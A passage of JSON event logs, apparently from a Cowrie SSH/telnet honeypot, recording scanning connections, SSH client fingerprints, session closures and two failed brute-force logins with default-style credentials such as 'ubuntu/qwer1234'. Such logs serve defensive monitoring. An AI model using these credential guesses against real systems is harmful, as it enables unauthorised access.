-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:02.705701Z","src_ip":"14.225.205.58","session":"08f2a3e435b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44222,"dst_ip":"159.203.135.109","dst_port":23,"session":"c98e7343336d","protocol":"telnet","message":"New connection: 206.54.191.52:44222 (159.203.135.109:23) [session: c98e7343336d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:03.573227Z"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"admin123","message":"login attempt [sonar/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:03.828298Z","src_ip":"14.225.205.58","session":"08f2a3e435b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.424809217453003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:04.032758Z","src_ip":"206.54.191.52","session":"1868f96174ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":44790,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f3436fd512a","protocol":"telnet","message":"New connection: 206.54.191.52:44790 (159.203.135.109:23) [session: 1f3436fd512a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:04.193321Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":42376,"dst_ip":"159.203.135.109","dst_port":23,"session":"19b1e7e3c951","protocol":"telnet","message":"New connection: 206.54.191.52:42376 (159.203.135.109:23) [session: 19b1e7e3c951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:04.598197Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:05.107247Z","src_ip":"14.225.205.58","session":"08f2a3e435b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73722004890442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:05.688467Z","src_ip":"206.54.191.52","session":"fc90932c70fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86374068260193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:06.629580Z","src_ip":"206.54.191.52","session":"ed603f066678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":47122,"dst_ip":"159.203.135.109","dst_port":23,"session":"123b82f08c3a","protocol":"telnet","message":"New connection: 206.54.191.52:47122 (159.203.135.109:23) [session: 123b82f08c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:07.491436Z"}
{"eventid":"cowrie.session.closed","duration":31.431240558624268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:07.578905Z","src_ip":"206.54.191.52","session":"28894683f6dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.842015981674194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:07.973333Z","src_ip":"206.54.191.52","session":"ae7a6314b981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.119872093200684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:08.035275Z","src_ip":"206.54.191.52","session":"47a53a3e5222","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68579888343811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:08.079705Z","src_ip":"206.54.191.52","session":"6dedb1b66bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73763394355774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:08.243673Z","src_ip":"206.54.191.52","session":"19321c412a92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692289352416992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:09.219249Z","src_ip":"206.54.191.52","session":"be23b92b8f89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117990493774414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:09.301734Z","src_ip":"206.54.191.52","session":"c01f2f00efb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25537419319153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:09.501966Z","src_ip":"206.54.191.52","session":"f47a435faae3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49112,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6224b3981af","protocol":"telnet","message":"New connection: 206.54.191.52:49112 (159.203.135.109:23) [session: e6224b3981af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:09.668541Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49510,"dst_ip":"159.203.135.109","dst_port":23,"session":"097fd56a67fb","protocol":"telnet","message":"New connection: 206.54.191.52:49510 (159.203.135.109:23) [session: 097fd56a67fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:10.134729Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48596,"dst_ip":"159.203.135.109","dst_port":23,"session":"3537be4b94e8","protocol":"telnet","message":"New connection: 206.54.191.52:48596 (159.203.135.109:23) [session: 3537be4b94e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:10.151707Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":51240,"dst_ip":"159.203.135.109","dst_port":23,"session":"c66a31cdcfcc","protocol":"telnet","message":"New connection: 206.54.191.52:51240 (159.203.135.109:23) [session: c66a31cdcfcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:10.642802Z"}
{"eventid":"cowrie.session.closed","duration":31.89492416381836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:10.884703Z","src_ip":"206.54.191.52","session":"9eaaa7aaa829","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774954080581665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:11.264566Z","src_ip":"206.54.191.52","session":"80f4ce9d2414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.276121854782104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:13.657657Z","src_ip":"206.54.191.52","session":"40dc7cbc64db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":33526,"dst_ip":"159.203.135.109","dst_port":23,"session":"3edb2d7c70bf","protocol":"telnet","message":"New connection: 80.65.211.42:33526 (159.203.135.109:23) [session: 3edb2d7c70bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:14.220456Z"}
{"eventid":"cowrie.session.closed","duration":39.57160663604736,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:14.842984Z","src_ip":"206.54.191.52","session":"7020cba093a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38930678367615,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:15.679282Z","src_ip":"206.54.191.52","session":"bcf4f9d67695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":57268,"dst_ip":"159.203.135.109","dst_port":23,"session":"da1c3b4e73ef","protocol":"telnet","message":"New connection: 206.54.191.52:57268 (159.203.135.109:23) [session: da1c3b4e73ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:16.252959Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53874,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3d7b99658d9","protocol":"telnet","message":"New connection: 206.54.191.52:53874 (159.203.135.109:23) [session: d3d7b99658d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:16.291895Z"}
{"eventid":"cowrie.session.closed","duration":32.356773376464844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:17.642781Z","src_ip":"206.54.191.52","session":"2d1116c20954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58446,"dst_ip":"159.203.135.109","dst_port":23,"session":"b017dc1838be","protocol":"telnet","message":"New connection: 206.54.191.52:58446 (159.203.135.109:23) [session: b017dc1838be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:18.363053Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58466,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb6ef65f9a89","protocol":"telnet","message":"New connection: 206.54.191.52:58466 (159.203.135.109:23) [session: fb6ef65f9a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:18.408986Z"}
{"eventid":"cowrie.session.closed","duration":45.754924297332764,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:19.655072Z","src_ip":"185.26.126.47","session":"c93f84b88142","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":59722,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cebb927eee5","protocol":"telnet","message":"New connection: 206.54.191.52:59722 (159.203.135.109:23) [session: 7cebb927eee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:21.219196Z"}
{"eventid":"cowrie.session.closed","duration":0.0056247711181640625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:21.224699Z","src_ip":"206.54.191.52","session":"7cebb927eee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56542,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cd004625d6f","protocol":"telnet","message":"New connection: 185.26.126.47:56542 (159.203.135.109:23) [session: 9cd004625d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:22.523968Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34908,"dst_ip":"159.203.135.109","dst_port":23,"session":"b757a0254c73","protocol":"telnet","message":"New connection: 206.54.191.52:34908 (159.203.135.109:23) [session: b757a0254c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:22.644729Z"}
{"eventid":"cowrie.session.closed","duration":30.991909503936768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:23.236392Z","src_ip":"206.54.191.52","session":"e205a26391eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35296,"dst_ip":"159.203.135.109","dst_port":23,"session":"5439f4a9f209","protocol":"telnet","message":"New connection: 206.54.191.52:35296 (159.203.135.109:23) [session: 5439f4a9f209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:23.875044Z"}
{"eventid":"cowrie.session.closed","duration":30.450644493103027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:24.213314Z","src_ip":"206.54.191.52","session":"30aead686aef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53436,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc7fd0f353f8","protocol":"ssh","message":"New connection: 80.94.92.184:53436 (10.17.0.5:22) [session: dc7fd0f353f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:24.788565Z"}
{"eventid":"cowrie.session.closed","duration":33.836464643478394,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:24.811538Z","src_ip":"206.54.191.52","session":"9872c7855c53","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:24.977184Z","src_ip":"80.94.92.184","session":"dc7fd0f353f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:24.985094Z","src_ip":"80.94.92.184","session":"dc7fd0f353f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":37756,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d9d380784c5","protocol":"telnet","message":"New connection: 206.54.191.52:37756 (159.203.135.109:23) [session: 5d9d380784c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:25.912080Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:26.218579Z","src_ip":"80.94.92.184","session":"dc7fd0f353f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.9394428730011,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:26.505759Z","src_ip":"206.54.191.52","session":"071114b7d400","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.650285482406616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:26.759703Z","src_ip":"206.54.191.52","session":"9612c55b432a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27004623413086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:27.175367Z","src_ip":"206.54.191.52","session":"c1dfbc65ef1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:27.349316Z","src_ip":"80.94.92.184","session":"dc7fd0f353f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":38670,"dst_ip":"159.203.135.109","dst_port":23,"session":"c06629ac2ad2","protocol":"telnet","message":"New connection: 206.54.191.52:38670 (159.203.135.109:23) [session: c06629ac2ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:27.847455Z"}
{"eventid":"cowrie.session.closed","duration":5.423385143280029,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:27.947081Z","src_ip":"185.26.126.47","session":"9cd004625d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":41600,"dst_ip":"159.203.135.109","dst_port":23,"session":"c55b7ebb0885","protocol":"telnet","message":"New connection: 206.54.191.52:41600 (159.203.135.109:23) [session: c55b7ebb0885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:29.821377Z"}
{"eventid":"cowrie.session.closed","duration":31.618905544281006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:30.783563Z","src_ip":"80.65.211.42","session":"2deaca83cbfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":42538,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbc42b930bf9","protocol":"telnet","message":"New connection: 206.54.191.52:42538 (159.203.135.109:23) [session: cbc42b930bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:30.823207Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":42996,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a30a91a2f83","protocol":"telnet","message":"New connection: 206.54.191.52:42996 (159.203.135.109:23) [session: 5a30a91a2f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:31.408274Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":43330,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2b90e61514d","protocol":"telnet","message":"New connection: 206.54.191.52:43330 (159.203.135.109:23) [session: d2b90e61514d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:31.719553Z"}
{"eventid":"cowrie.session.closed","duration":30.82116436958313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:33.383598Z","src_ip":"206.54.191.52","session":"d35210bab008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.608105182647705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:34.181205Z","src_ip":"206.54.191.52","session":"c98e7343336d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.825315713882446,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:34.295308Z","src_ip":"206.54.191.52","session":"60821470c196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966647148132324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:35.159873Z","src_ip":"206.54.191.52","session":"1f3436fd512a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082563877105713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:35.680639Z","src_ip":"206.54.191.52","session":"19b1e7e3c951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48362,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b1699016afb","protocol":"telnet","message":"New connection: 206.54.191.52:48362 (159.203.135.109:23) [session: 2b1699016afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:37.634048Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50082,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9d670354e4c","protocol":"telnet","message":"New connection: 206.54.191.52:50082 (159.203.135.109:23) [session: e9d670354e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:38.219056Z"}
{"eventid":"cowrie.session.closed","duration":30.77578353881836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:38.267119Z","src_ip":"206.54.191.52","session":"123b82f08c3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56636905670166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:40.234792Z","src_ip":"206.54.191.52","session":"e6224b3981af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":52800,"dst_ip":"159.203.135.109","dst_port":23,"session":"23cfff6da3b6","protocol":"telnet","message":"New connection: 206.54.191.52:52800 (159.203.135.109:23) [session: 23cfff6da3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:40.892255Z"}
{"eventid":"cowrie.session.closed","duration":30.892444133758545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:41.027054Z","src_ip":"206.54.191.52","session":"097fd56a67fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880289793014526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:41.031878Z","src_ip":"206.54.191.52","session":"3537be4b94e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93458342552185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:41.577256Z","src_ip":"206.54.191.52","session":"c66a31cdcfcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":55934,"dst_ip":"159.203.135.109","dst_port":23,"session":"071d37ff9daa","protocol":"telnet","message":"New connection: 206.54.191.52:55934 (159.203.135.109:23) [session: 071d37ff9daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:43.938168Z"}
{"eventid":"cowrie.session.closed","duration":30.97412133216858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:45.194456Z","src_ip":"80.65.211.42","session":"3edb2d7c70bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40598154067993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:47.658810Z","src_ip":"206.54.191.52","session":"da1c3b4e73ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":32944,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6ceba0ff51c","protocol":"telnet","message":"New connection: 206.54.191.52:32944 (159.203.135.109:23) [session: c6ceba0ff51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:48.971025Z"}
{"eventid":"cowrie.session.closed","duration":30.97998070716858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:49.388802Z","src_ip":"206.54.191.52","session":"fb6ef65f9a89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.159420251846313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:49.522345Z","src_ip":"206.54.191.52","session":"b017dc1838be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":33792,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecf710b2d73a","protocol":"telnet","message":"New connection: 206.54.191.52:33792 (159.203.135.109:23) [session: ecf710b2d73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:19:49.760330Z"}
